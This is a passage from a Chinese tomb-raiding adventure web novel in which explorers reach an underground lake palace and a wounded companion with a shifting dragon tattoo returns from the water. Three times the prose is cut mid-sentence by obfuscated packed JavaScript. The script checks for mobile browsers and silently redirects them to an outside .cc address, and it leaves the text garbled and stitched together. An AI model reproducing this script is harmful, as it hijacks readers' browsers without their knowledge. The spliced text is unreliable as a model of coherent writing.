所有人都开始对这惊世的发现议论纷纷,其中有个考古教授激动得都说不出话来,老泪纵横的握住身边解鸦门的手,半天吐出三个字: “谢谢你……” 封鬼估计他这话的完整意思应该是谢谢你带我来这里,要不是你我也没机会见到这一历史奇迹,那岂不是要抱憾终身郁郁而终啊。 原本跑了一路所有人都累得够呛,这时候都跟打了鸡血一样,一口气跑下山,来到了湖边的沙石地上,离近之后发现湖中的建筑更是宏伟,笼罩在一片水天相映生辉的霞光之中,就像是沙漠中的海市蜃楼一样,看得清清楚楚,却又梦幻迷离。 陈老四在所有人当中表现的最沉着冷静,他好像对面前的伟大奇迹并没有太大感触,只是默默的放下背包,找了块地方就坐下来休息。过了好几分钟,估摸着大家的兴奋劲儿差不多过去了,就又站起来对众人说: “我看这么着,反正这湖一时半会儿干不了,咱们就在湖边安营扎寨,一边休息一边等它退潮怎么样?” 众人一听,包括封鬼在内的几个人点头赞同,钱串子扫了眼埋伏在周围草丛里的大蛇,也点着头说: “嗯,就这么办吧,反正这湖是咱们的目的地,那些蛇也不会再追上来了。” 封鬼心里纳闷,就问他为什么这么说,蛇追了他们一路,怎么可能追到湖边就不追了呢?难不成它们怕水? 其他人也是好奇,都眼巴巴的瞅着等他解说。钱串子啧了啧嘴,蹲下身在地上画了个圈,又擦出一个豁口,就开始用一副戏谑的嘴脸打量起众人的表情,好像在说你们这群白痴,这么显而易见的事难道都没发现吗? 不过确实没有人看懂是怎么回事,个个挠头托腮,想了半天也想不出个头绪来。钱串子无奈的摇了摇头,又在圈旁画了一条大蛇,封鬼突然啊了一声,连忙叫道: “原来是这样!我明白了!” “哦?小封爷知道是怎么回事了?”钱串子好笑的盯着他,封鬼点了点头,蹲下身指着圈上的缺口对众人说: “刚才我们被困在蛇阵中间,本来应该是绝对逃不出来的,却发现这里有个缺口。大家仔细想想,蛇是一种很狡猾的东西,它们数量又这么多,怎么会留下这么一个漏洞让我们过去呢?” “它们是故意的!”二胖显然是明白了什么,十分肯定的回答。封鬼赞赏的竖起大拇指,继续说下去: “不错,它们其实并不想杀我们,只是逼着我们按照它们设定好的路线一路逃到湖边。所以这一路上那些蛇一直都与我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391847|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持一定的距离,没有一个扑上来,之前那条只能说是个意外。” 想起无端枉死的同僚,大家都沉默了片刻。不过随即就有人露出原来如此的表情,并向钱串子和封鬼投去佩服的目光。 “行啊,小封,没想到你脑子也能转得这么快啊。”鸦门忍不住揶揄,封鬼嗤笑一声,差点没吐血。 “反正比某些人脑子好使点儿。不过还是钱老爷子厉害,早就识破这些蛇的意图了。”封鬼朝钱串子客气的点了点头,钱串子哼了一声算是回礼。 “既然我们遂了那些蛇的愿到了湖边,那我们暂时安全了。只是不知道它们为什么这么做,难不成这湖里除了龙王宫还有什么别的吗?” 二胖脑子灵光,想的也多,经他这么一问确实发现还存在许多疑点。钱串子摸了摸鼻子,好像也对这些问题想不明白。 “这可说不好,老夫现在也难以妄下定论。还是等潮退完宫殿全都出现之后,咱们就知道这湖里到底有什么了。” 钱串子说的这是大实话,反正现在冒着危险潜入湖底不如等它自己冒出来,也就不差这一时半刻。 于是队伍在沙滩上安顿下来,从周围的灌木丛捡来些干柴枯枝点起篝火烧水做饭。 这时候岩洞顶部的光亮明显暗了下来,好像那些鼻涕虫也到了休眠的时候。 湖面时不时吹来阵阵冷风,让人顿时产生了一种错觉,以为这山,这湖,这风以及周围所有的一切都是地上的,此时正身处夜晚的林中,在沙滩上撘起旅游帐篷,欣赏着湖光山色,水波粼粼,然后还有一轮明月当头,满天的星星在银河中闪烁。 头顶确实有星光闪烁,不过不是真的星星,却是那些发光的蜒蚰。封鬼边想边觉得好笑,下意识的回头,发现周围的蛇早就退走了,至少是消失在了他们的目力范围之内,也不知究竟是否还藏在林子深处。 想到这里封鬼就心里发慌,脑中突然蹿出一个孤独的身影——宋阿拽。 也不知道他究竟去了哪里,是否也来到这湖边?难不成已经下到水底,进入了地宫?又或者是已经被吞入蛇腹,再也没法相见了。 不能就这么坐以待毙,封鬼一下子站起来,走到玄武和小白的面前,居高临下的看着他们就说: “你们到底打不打算去找宋老板?如果要去,算我一个怎样?” 玄白二人显然是愣了一下,完全没有想到他会突然这么问。封鬼见二人的反应,心下就是一凉啊,心说这两个人果然没有正常属下那种对上级的关心程度,似乎宋阿拽的生死跟他们没有什么大关系一样,八成已经将他们主子都给忘了,压根就没想去找人啊。 “我们老板一向是神出鬼没,咱们也管不……”小白吊儿郎当的还没说完,就被玄武拉到一边去,然后玄武瞪了他一眼,好像是在埋怨他的多嘴,接着就冲封鬼笑了笑。 “哦,我和小白正准备去找呢,既然小封爷对我们老板这么上心,那咱就一块儿去吧?” 封鬼见小胡子是话中有话,却又不清楚他到底什么意思。究竟是愿意自己跟着去,还是只不过是客套话呢?不过他也算看出来,这玄武老谋深算绝非善类啊,相比之下,那白虎就显得玩世不恭一无是处了,叫他小白还真是贴切的紧啊。 “快看!有人从水里出来了!” 三人正准备动身出发,就听见有人大喊了起来,封鬼朝湖面上看去,果然看见个人从水里钻出了脑袋,待他摘下面罩之后,封鬼就看清楚了,那不是别人,正是失踪多时的宋阿拽! 等他一上岸,所有人都围了上去,顿时吓得个个是目瞪口呆。就见那宋阿拽浑身是血,赤着的上半身布满了大大小小的伤口,都像是被利器割出来的一样;胸前和胳膊有好几处实在太深,已经是皮开肉绽了。这种血腥的场面实在是够惊悚骇人的,鸦门一个姑娘家早就吓得花容失色了。按照常理来说,一个人受了这么重的伤,就算不死,恐怕也只剩下半条命了,可他竟然还可以从水里游上来,而且还有力气站在众人的面前。 不过这些还不是让封鬼最惊愕的,让他瞬间倒吸一口凉气的是,那条原本在他背后的青龙纹身,竟然又变换了位置,而龙尾已经缠满了他的整个手臂。 28. 【28】浴血战神似修罗 站在大家面前的这个人,身上布满了带血的伤痕,黑墨般的头发正往下滴着水,与身上的污血融合之后沿着精壮的轮廓流淌,在他身上汇成一道道腥红的血河,犹如刚从地狱里爬出来的浴血罗刹。 封鬼和其他人一样,就这样愣愣的注视着眼前的这个人,觉得他根本就不是属于这个世界的,那双反射湖光的黑瞳简直就充满了邪佞与阴冷,让所有与之对视的人都不寒而栗,再也不敢多看一眼。 这是一种可怕到让人不由自主想要为之下跪臣服的邪恶力量,就像是未开化的古人出于对自然力量的敬畏本能,令人胆战心惊。 不过好在这种可怕的敬畏没有持续多久,那宋阿拽终于因为体力不支一下子跪倒在地,玄武和小白忙上前扶他,大家又都凑上去问到底发生了什么事,他是怎么在水底弄得这一身伤啊。 陈老四本来是想叫人先扶他进帐篷处理伤口,可是他摆手止住,有气无力的看了眼焦急的众人,用很微弱却清晰的声音说了七个字: “战国地宫有恶龙。” 说完就昏了过去,大家都愣了一下,不过还是鸦门反应快,连忙让小胡子他们抬着人进了帐篷,自己也跟着去帮忙。 剩下的人留在沙滩上过了好一会儿才回过神,二胖用胳膊肘捣了封鬼一下,示意他对这件事怎么看,他只是恍恍惚惚的摇了摇头。 “战国地宫有恶龙。” 钱串子一字一顿的重复了宋阿拽刚才说的话,有些人开始明白了什么。 这句话虽然只有短短的七个字,然而其所包含的信息量可以说是十分的大,也难为那宋阿拽强撑了这么久把这些事情告诉给大家。 首先一点,这句话说明他已经知道湖底有地宫,而且很有可能已经进去过了,在地宫里有条恶龙把守; 其次,他必定是与那条恶龙发生了一场激战,才弄得遍体鳞伤; 第三,他说这是战国地宫,那显然是印证了之前的猜测,这不是李世民在唐代为龙肆修建的地下陵宫,而是在战国时代地宫就已经在这里了,只是不知道李淳风为什么会看重这块地方,非要把龙肆葬在此处,才形成了这墓中墓的奇观。 钱串子还说瀑布上的第一道入口石门确实是出自唐代工匠之手,那门上刻的兽头也的确是饕餮,李淳风显然是依据战国铜镜上的八卦图而设置开启第一道墓门——饕餮石门的机关暗槽。不过第二道入口处的石兽正如宋阿拽所说,不是饕餮而是只犼。也许是因为李淳风看走了眼,把一只石犼错当成了石饕餮,才在石门上雕了这么一只饕餮巨脸。 众人对地宫是战国时期的建筑大部分都表示没有异议,因为据他们这一路上对宋阿拽品行的了解,他绝对不会做没有把握的事,更不会说无根无据的话,而且这种事根本就没有必要说谎,他也没有任何的动机啊,反正不管怎么样,最终大家都会看到地宫的全貌,到底是唐朝还是战国,一下子就能分辨出来。 “那这么说,那条恶龙真的就是天丑龙肆吗?难道经过千年之后他真的龙化了?还是说他吃了长生不老药才变成了龙?可他为什么要被镇在战国的地宫之中,这里面到底有什么玄机呢?” 陈晓的疑问让大家一下子又陷入了新的迷雾之中。如果要说这地下有龙,那绝对没有别的可能,一定就是天丑龙肆,可是一个人怎么就变成了一条龙呢? 就算他本是身长龙鳞的怪人,那也曾是个随李渊带兵打仗的将军啊,李渊怎么可能没发现他是个怪物呢?难道说龙肆就是龙族的人?又或者他真的是因为吃了长生不老药才龙化的? “哎?我说,会不会是这样,你看啊,一般在电影和游戏里,只要是有龙的城堡,那都是因为城堡里有什么东西让这条龙来镇守。难不成战国的地宫里有什么邪恶的怪物威胁到了李世民的统治,李淳风就要龙肆在这把守不让那怪物出来?” 二胖突然把自己的想法说出来,封鬼琢磨了一下觉得还真有道理。钱串子微微点了点头,摸着下巴说: “小哥说的有道理啊。这墓中墓的情况从古到今都是凤毛麟角,之所以会发生大多为偶然。新墓的主人看上了这块的风水,于是开始大兴土木,在挖到一半的时候才发现这块风水宝地已经被古人占了,却又舍不得弃让再重新开发,只好做法事与古人商议合葬,这才有了一墓侍二主。 既然是两代人都看上的宝地,那这地方的风水自然是好到了极致,乃世间少有,于是这种情况发生的概率也极低,纯熟偶然巧合。 不过李淳风选中这块地方,不是为厚葬,而是为镇压,让那龙肆断子绝孙。那就说明这块宝地虽然风水极佳,却并非是个适合葬墓的地方。 可战国的墓主人却选择在这个地方造陵,而且规模如此宏大,这就说明战国墓的目的也不是葬人,可能也是为了镇压某种未知的东西。 龙肆之所以会鸠占鹊巢,全都是李淳风计划好的,是有目的而为之啊。” 钱串子的意思再明显不过了,显然是赞同二胖的想法。封鬼见二胖那样子别提有多得意,半是好笑半是感叹,还真不能小看这半路出家的,说不定二胖就是对此道天赋异禀,有他在身边帮衬,自己日后的买卖必定能做得风光啊。 不过目前最重要的问题就是,这战国地宫到底是谁造的,里面究竟有什么东西,连宋阿拽那种狠角色都被龙肆弄了一身伤,估计凭他们这些人的身手就只能等死了。 想到这一层,二胖就看向封鬼,连忙问他: “我说小封,你不是真有降龙伏虎的能耐吧,这要是进了地宫你能斗得过那条龙吗?” 这事封鬼之前也有想过,自己虽然从来没有降过龙,可龙这种生物虽然体形庞大,然而一旦离了水也就没那么敏捷的身手了。宋阿拽是因为在水里与龙相斗必然吃亏啊。等这湖见了底,地宫显露于地表,龙就没了水的掩护,他们也就多了几分胜算。 不过封鬼对此还是有所保留,不能说是十足十的把握,只得敷衍道: “我倒不是最担心那条龙,而是怕地宫里有其他的东西。如果原本在里头的东西比龙肆更凶恶,那我们可就真是危险了。” 甭管地宫里到底有什么,反正再继续猜下去也没用,想得越多也就越胆怯,到时候要是没人敢进去那就麻烦了。钱串子就安慰众人说有他在,地宫里的机关不用担心,再说他们有屠乌、金兜、封门三大门派的长孙在此,个个都是封鬼降魔的行家,管他是龙还是什么,来一个就打死一个。 钱串子就是有鼓动人心的能耐,大伙被他说的心安了不少,个个都散了开去吃饭休息。封鬼拉着二胖到了个没人的地方,表情神神秘秘的,二胖就问他怎么回事。他皱了皱眉,犹豫了片刻低声说: “你有没有看到宋阿拽的身上有什么变化?” “那还用说!这不是所有人都看见了嘛!浑身带血皮开肉绽啊!要我说这人也是个角色,受了这么重的伤竟然还活着!要不就是个奇迹,要不然他就根本不是个人!” 二胖还以为封鬼会问出什么有水准的话呢,竟然是这种显而易见的白痴问题,心说他不是被吓坏了脑子吧?还颇为同情的摇了摇头。封鬼一见他表情不太对劲,就觉得他是想歪了,不耐烦的说: “哎呀!你这不是废话嘛!是个人都能看出来,我问你这个做什么啊?我是说除了他身上的伤之外,你还看到了什么?” “嗯?不是伤啊,那,那就是肌肉!嗯,那小子的身材不错,虽然跟霍爷我比起来差了点儿火候。不过你个大老爷们儿对一男的身体这么感兴趣干嘛啊?靠!你不会真是个变态吧!” “放你娘的狗屁!”封鬼没好气的骂了句,冲二胖翻了个白眼继续问: “除了这些呢,你就没发现其他什么不对劲的?” “我说小封,在兄弟面前你少来这□□虚作假的玩意儿,想说什么就痛快的说,还卖什么关子你不嫌累啊!” 二胖显然是被他问烦了,本来也就不是什么有耐心的人,这么一来二去的没跟他翻脸就算是造化了。封鬼见他是真的没有注意到,也不再拐弯抹角直接就问: “我是说他身上的龙纹身,你没发现之前是在背后吗?这次竟然跑到胳膊上去了!” 二胖皱着眉仔细想了一下,突然一拍脑门,点头道: “你这么一说还真是啊!上次他在石饕餮前脱了衣服,背上确实有条龙,我当时还觉得酷呢。这怎么没半天的功夫就变了位置了?” 封鬼见他的反应心说总算不是自己的幻觉,放松的叹了口气,就说这还不是第一次,之前自己已经见龙换过一次位置了,于是就把那天晚上在二龙塔下面发生的事告诉了二胖,还说了宋阿拽的体温之谜。二胖越听眼睛瞪得越大,到最后干脆骂了出来。 “靠!我TM说什么来着!他根本就不是个人!哪有人身上的纹身能随便动的?哪有人会有这么低的体温?哪有人伤成那样还能活着的?要不然他就是天赋异禀,要不然他绝对就是个妖怪!魔阿八部里有没有能跟他对上号的,你赶紧再看看,他到底是妖啊还是魔啊。不行,咱们得马上去把他捉起来问个明白,不能让他把咱们给害了!” 二胖说着就朝帐篷走去,完全一副摩拳擦掌要去捉人的模样,封鬼一见不妙慌忙拦住他。 “你怎么搞的,就这么想惹事生非啊?这一切都只是咱们的猜测,根本就没有证据啊。在没摸清对方的底细之前,我们绝对不能打草惊蛇,这样不只会让对方有所防备,更可能会让真相永远石沉大海。” “哎!那你说现在怎么办?咱们就这么放着不管,任由那宋阿拽变成妖怪一口吃了我们?” “他怎么就是妖怪了?你少在这诽谤啊。你也不仔细想想,人家这一路上有没有害过你。再说了,是不是妖怪我还能看不出来?就算我看不出来,我的邪牙刀总能认出来吧。所以说他绝对是个人,只是不知道那条龙为什么会变化。这点倒是不急着弄清楚,反正对我们没有什么影响,等以后有机会再查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎!真是女大不中留啊!这还没怎么样胳膊肘就向外拐喽。得!霍爷我不在这当电灯泡,我去睡一觉,你啊就自个儿在这守着吧。” 二胖说完就大摇大摆的跟着鸦门小白走出了帐篷,封鬼心里把二胖骂了一百二十回,总算解了气。又不能学他们放着人不管就这么走了,犹豫了一下,干脆找个地方躺着,等他什么时候醒了身边也能有个照应的人。 这一觉睡得十分舒服,一点儿噩梦也没做。封鬼伸了个懒腰,睁开眼就发现自己身上不知道什么时候多了条毯子,转头一看,宋阿拽已经不在了。连忙走出帐篷,发现外面亮了很多,抬手看了下表,已经是第二天早晨5点多。 也正因为天色大亮,封鬼一下子就看清楚眼前原本是湖泊的地方出现一个大盆地,在盆地的正中央坐落着一座宫殿,规模之宏大简直就像是希腊神话中奥林匹斯山上的众神神庙。 这座宫殿由一块块巨大规整的方形石砖修葺而成,顶上覆盖着厚厚的一层青苔与藻类植物。大殿正门口立着6根粗壮的石柱,远远望去,上面似乎雕刻着什么大型的图案。 封鬼心中突然就涌起一股跌宕起伏的情怀,感叹着古代劳动人民的智慧结晶,折服于这宏伟建筑的魅力之下;同时又感到惴惴不安,不知道里面究竟埋藏着多少不为人知的危险和秘密。 封鬼正暗自感叹着,就见有个人影朝自己跑了过来,定睛一看,原来是陈晓。 “封老板,你可算是醒了!你看这地宫终于出现了,咱们准备一下就出发吧!” “宋老板呢?”封鬼连忙问,陈晓指着前方的宫殿说: “宋老板和四叔公他们在前面探路,已经先走了,还有霍兄和鸦门也跟着去了。” “啊?!那你们怎么早不叫醒我?”封鬼抱怨,陈晓笑着说: “叫了,可是不知道怎么的你就是不醒啊。我们觉得也没什么关系就分了两支队伍一前一后进入地宫。” “那宋老板的身体能行吗?他不是伤的很重?” “哎,这件事确实蹊跷啊,他一觉醒来就跟没事儿一样,身上比较浅的伤口也都愈合了,只剩下胸前几处致命的还缠着绷带。我们都猜他是能进行自我修复的特殊体质,问他他也不说,我们就当他默认了。” 封鬼若有所思的点了点头,心说他果然不是个凡人啊。不过自己怎么会睡得这么死呢?按理说他一直都是个浅眠的人,很容易就会被风吹草动给惊醒,可这一觉的睡眠质量也太高了,简直就是匪夷所思。 难道是发生了什么特别的事情吗?封鬼仔细想了想,觉得唯一与之前不同的就是这一次他是跟宋阿拽睡在一起,难道说是他对自己做了什么手脚,下了迷药还是催了眠? 不过这种荒唐的想法很快就被他抛诸脑后,也许就是因为自己这一路实在是太疲惫了,当人体达到一定的极限,别说是睡着,就是睡死也有可能啊。 当下不再二话,封鬼简单收拾了一下装备,就和陈晓带着剩下的人进入湖底盆地,走向了这座神秘的战国陵宫。 29. 【29】一泡尿冲了龙王庙 湖底全都是大大小小的石块,被冲刷的十分圆润,很像是鹅卵石,有青白黑绿四种颜色。其中还有些奇形怪状的鱼虾类生物在地上扑腾,因为没了水而做着最后的垂死挣扎。 “这石头还真是漂亮啊。”陈晓捡起一块白色的石头拿在手中把玩,然后就要随手扔掉,封鬼瞄了一眼,突然怔住,连忙抢过来仔细查看,突然惊呼道: “这是昆仑羊脂玉啊!” “昆仑羊脂玉?”陈晓重复了一遍,其他人一听都开始捡石头,瞬间感叹惊奇之声不绝于耳。 封鬼见陈晓的反应,突然想起来他跟陈老四不一样,对这些并没有过研究,就把玉石还给他解释说: “昆仑玉又称和田玉,多产于新疆和田与昆仑山脉的山上与河流中,是玉石中的高档货色。而羊脂玉又是和田玉中宝石级别的,可以说是极为珍贵稀有的上品。正所谓“白璧无瑕”说的就是羊脂玉,这可是古代王侯将相最为追捧的宝石啊。” 陈晓点了点头,见手里的玉石果然是质地洁白细腻,光泽温润,状如凝脂,就像是在流出油一般,心里越发的喜欢,就问道: “这块玉能值多少钱?” “中国人说黄金有价玉无价,玉石在中国有三千多年的历史,可以说是文化底蕴深厚。咱们老祖宗看重的不是玉本身的价值,而是它所体现的人文价值,一种中国人特有的生活态度。所以这块玉的价值无法估量,既然是你发现的它,这就是你们的缘分,它是你的无价之宝啊。” 封鬼说得起劲,陈晓听着也带劲,更是对这块玉产生了从未有过的感情。 “封老板说的真好,看来我以后是要好好研究祖上的玉石买卖了。翎花喜欢玩玉,我就把这块带回去送给他吧。” 陈晓说完就把玉石放入了背包里,封鬼笑了笑,心说这个小三爷真是重朋友,对那周翎花简直好得没话说,又是折扇又是羊脂玉,只要是好东西全都留给他,就差把自己的命也送给人了。 封鬼见大家都忙不迭地的挑拣玉石,心想自己也不能吃亏啊,就也选了几块看着顺眼的装了起来。这趟是没白来,就算那宫殿里什么宝贝都没有,有这几块石头也够他吃上好些年的了。 估计不只是他们,前面那群人肯定也捡了不少,尤其是二胖,封鬼用脚趾头都能猜出他一定是乐得嘴都歪了,不塞满自己的背包誓不罢休啊。 等所有人都拿够了,再也没有能装玉石的地方,队伍继续前行。随着他们离宫殿越来越近,这建筑的宏伟气势越发的显露出来。 虽说战国时期的建筑没有明清的精雕细琢和雕梁画栋,却造型古朴气势浑厚,其威严神武的感觉是之后任何一个朝代所不能比拟的,而且这种庄严之中还散发出一股令人难以抗拒的神秘力量,更是后人无法用任何先进技术复制出来的。 等终于走到那六根石柱之下,封鬼仰望这高耸入天的神柱,不由得一阵窒息。 这六根石柱简直就是东海龙宫的定海神针,人站在它的面前根本就是只蚂蚁,也看不清上面到底刻了些什么,又有青苔水草覆盖,只能依稀看清底部刻着些蟠螭纹和山字纹。 这种抽象的几何图形显然是战国特有的,也证实了宋阿拽所言不虚,这确实是座战国时期的建筑。 之前的先行部队已经在通往巨大殿门的石阶下等着他们了,二胖果然不负封鬼所望,捡了满满一背包的石头,也懒得说他,目光投向宋阿拽,就见他穿着二胖那件蓝色的哆来A梦连帽卫衣,一脸的阴沉冷漠,与胸前表情可爱的机器猫图案搭在一块实在是可笑的紧。 他没有二胖高壮,衣服显然有些大,就把袖子卷了起来,露出缠着绷带的手腕,封鬼仔细一看,确实那些细小的伤口都已经愈合并消失不见了。 “哎呀!你们可算是到了,霍爷我等得都憋出尿来了。”二胖粗鲁的抱怨,可是没人理他。封鬼就问他们怎么不进去,陈老四说这殿门用铜镜也打不开,实在没辙才在此等大家一起商量办法。 “不行!我实在憋不住了!”二胖捂着□□就跑到石柱前,对着柱根儿撒了一泡黄尿。等他回来之后,所有人都对着他大笑,就连鸦门一个姑娘家也毫不避讳的笑出了声。 “哎呀!我说霍爷您这泡尿撒的好啊,就跟孙悟空在如来掌心里留记号一样,就算咱们在地宫里迷了路那也不怕,只要跟着这股尿骚味儿,那就能出来了!” 钱串子在那揶揄,引得大家又是一阵哄笑。二胖倒是不生气,一点儿也不嫌臊的高声道: “谁他娘的尿不是臭的!再说这算什么,想当年霍爷我在皇城根儿底下还撒过童子尿呢!” 封鬼见他还真是没脸没皮,又气又笑的骂道: “别老拿你的骚尿来说事,还嫌不够丢人啊?有本事你把这殿门用尿给冲开,那才算是你大功一件!” 众人又是笑,二胖讨了个没趣就不做声了。封鬼见这石门确实巨大,无匙孔也无暗门,就只是光秃秃的两扇厚石板,确实找不到能开门的机关。 “真是奇怪,这门是怎么设计的,为什么连个门把也没有啊。” 封鬼觉得这门太过蹊跷,设计者怎么会糊涂到连门把也忘了装呢?这又不是推拉门,更不是自动感应门,外面的人根本就进不去啊。 “宋老板,你之前与龙打斗的时候没有进去过吗?”封鬼看向宋阿拽,以为他进过地宫。可是他没有说话,陈老四代替他回答: “我们之前问过了,宋老板说他没有进去过,那条龙原来是守在石柱前的,他们是在宫殿外交的手。不过不知道那龙跑到哪里去了。我们都没见它出过水面,这就说明它一定是进入了地宫之中,如果真是这样,那就一定有密道。” 封鬼觉得有道理,就点了点头,可突然又想到一点不对劲的地方,连忙又说: “如果真有密道,那肯定是个很大的通道,能够容得下一条龙庞大的身躯,这样一来入口就会暴露,我们应该很容易就发现啊。” “小封爷说的没错,之前我们已经检查过宫殿周围,没有这么一个巨大的入口。” 钱串子说完,封鬼又打量起宫殿的巨大墙壁。这座宫殿四四方方,呈类似金字塔的阶梯形状,典型的秦汉以前的高台建筑。 只是那些帝王的宫殿是夯土与实木结构,而这座宫殿完全是用石头堆砌而成的。 宫殿一共有三层,而每一层都无窗,只在最顶层的一面墙壁上开了个像是气窗的圆洞,但也只够两个成年人并排通过,巨龙是绝对不可能进得去的。 封鬼奇怪,怎么会在顶层有这么一个洞呢?整个宫殿都可以说是无门无窗,而无门无窗的建筑除了是墓基本上没有其他的可能,突然多出一个圆洞,也太突兀了点,这也不符合建筑原理啊。 “这是修墓工匠挖的逃生通道。”钱串子似乎看出封鬼的疑虑不等他发问就回答说。封鬼纳闷,觉得这不太可能,逃生通道他是知道的,古代王侯将相为了防止秘密泄露会把修造陵墓的工匠闷死在墓中。不过工匠们都很聪明,也不可能就这么坐以待毙,就会暗中挖一条密道逃出生天。既然是密道,那肯定就会挖在十分隐秘的地方,可在这么明显的地方开了一个洞岂不是太过愚蠢了吗,再说密道一般都是在幕侧或地下,怎么会跑到顶层去呢。 钱串子听完封鬼的话笑着摇了摇头,继续说: “这个洞不是他们建墓的时候挖的,而是之后挖的。之所以会挖在顶层,是因为那里的石壁最薄。”钱串子这么一解释封鬼就明白了,这么高的建筑,地基肯定深不可测,墙壁又这么厚,不找个薄弱的地方下手何年何月才能爬出来啊。 “我看这么着,咱们先从那个洞爬进去看看再说。” 陈老四提出建议,大家看也就只此一法啊,反正不能在石头上现挖个盗洞出来吧,随身带的炸药□□又威力不足,这么厚的石头估计也只能炸出个坑来。 众人又是合计一番,决定就这么干,本来是宋阿拽要打头阵,其他人都拦着,他毕竟是个伤患,行动不便,要是进去之后遇到什么突发情况没法应对,那岂不是对后面的人也有影响。于是鸦门选出一个叫阿福的小个子攀爬高手,由他先带着绳索爬上去探明情况,如果安全再将绳索抛下引众人上去。 钱串子想了想还是觉得不放心,他是怕只有阿福自已一个人上去会贸然行动,不如再找一个一起去,这样两人还可以相互制约一下,就决定自己也跟着上去。 本来大家都是不答应,嫌他年老体衰怕爬到一半就摔下来,可是钱串子脾气倔的很,拦也拦不住,众人拗不过他只得答应。 由阿福打头,背着攀岩专用的绳索一路将凿钉打入石墙,再装上钩环固定绳索,成为一个简易的绳梯。他身手敏捷爬的非常快,如果不是为了后边的人开路,他甚至根本就不需要绳子,只用一把登山镐就能徒手爬上去。 不出十分钟,他已经到了洞口旁边,对下面的人比了个OK的手势,就一头钻了进去。钱串子也紧随其后,伸手敏捷得一点儿不像是个70岁的老头,手臂又长,爬在石壁上就像是一只飞天猴子,惊得下面的人都目瞪口呆。等他进去之后,大家才松了口气,就看表算时间等他们两人招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391849|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封鬼闲着无聊,就凑到宋阿拽身边,问他为什么会丢下大家去了湖底,他就说自己是被一只大如雕枭的怪鸟引到湖底的。封鬼对此嗤之以鼻,心道你要说是被条大蛇引到湖边的我也就信了,这一路走来什么稀奇的生物没有见过,唯独没看到你说的什么巨大怪鸟。再说鸟都是天上飞的哪里有能下水游的?说是鸟引你入了水下显然是在扯谎啊。 不过封鬼见他神情那么认真也不好拆穿他,再说这是人家的自由,自己问的太多反而不好,也就没有再追问下去。 众人在外面等了好久串子他们是没有任何反应,这时候就有人耐不住了,非要现在上去,鸦门就说再等等。 可过了十分钟之后依然没有回应,情况显然是不妙,宋阿拽也不跟大家商量,独自一人爬了上去,玄武和小白也跟在后面。 这么一来局势就失去控制了,人已经走了快一半,剩下的人更是骚乱。又等了一会儿,见宋阿拽他们三人也是有去无回,有人就开始责怪领队的鸦门和陈老四,说他们不该放着那些人上去,尤其是钱串子,所有人当中只有他熟悉墓里的布局和机关,他要是起了歹心想独吞宝藏扔下我们不管,那我们就算进去也是死路一条啊。 眼看着时间一分一分的过去,洞口那里连个人影都没见到,大家一致决定不能再这么傻等下去,必须马上行动,于是剩下的人也一个接一个的爬上了绳梯。 刚到洞口,封鬼就闻到一股腐烂腥臭的气味,二胖在里面拉他进来,打开矿灯之后发现,地上和墙上都覆盖着藻类植物,还有腐烂的木架和死鱼。看来之前陈设在这里的一些木质家具已经倒塌朽烂了。 清点了一下人数,一个不留全都爬了上来。本来他们是想留个人在殿门外接应,不过已经都走到这一步了,谁也不愿意留下,只有全都跟了过来。 洞口离地面不算高,大概有两米,他们跳下来之后,走在绿苔上还能踩出大片大片的水来。这里是宫殿的最上层,地面离屋顶有十余米高,整个空间给人的感觉应该是空旷相通没有任何耳室的,不过因为照明设施简陋,空间太大,实在难以看清全貌。 “哎!这里有烛台啊!” 有人在暗处喊了一声,大家循声而去,将灯光聚拢,发现墙根立着一人高的青铜铸造的烛台,那烛台雕有凤冠与兽脚,表皮锈烂腐蚀的严重,显得诡异非常。烛台顶端的白色蜡烛足有成年人的大腿粗细,显然是被点燃过的,上面还挂着凝固的烛泪。 “这边还有!”二胖指着更深处喊道,只见沿着墙根每隔一段距离就有一个烛台,照这种排列推测,应该是围着墓室一周而立。 “奇怪!这蜡油还是热的,显然是刚被人点过!”陈国祥摸着蜡烛说,封鬼一看果然如此,烛泪刚刚凝固,还是软的。 “这不可能啊,这是什么蜡烛?在水里泡了几千年还能点着?” 陈晓皱眉不解,鸦门捻起一撮蜡油在鼻尖嗅了嗅,对众人说: “这很可能是人鱼膏做的长明烛灯啊,因此才能入水千年而不化。” 人鱼膏?众人表示不解,鸦门看了看大家,清着嗓子继续说: “据《史记·秦始皇本纪》记载,秦始皇命人‘以人鱼膏为烛,度不灭之者久’。世人都以为人鱼膏是用鲸鱼脑油提炼而成的,可他们不知道人鱼在古代是确实存在的,又名为鲛人,四足成肢双脚站立,身有鳞片皮肤粘滑。鲛人本是龙族,却因为身份卑贱被驱逐族群成为了龙族的奴隶,龙族为了讨好人间帝王,就献出鲛人提供大量人鱼膏供宫灯长明。” “那这些蜡烛是谁点的啊?” 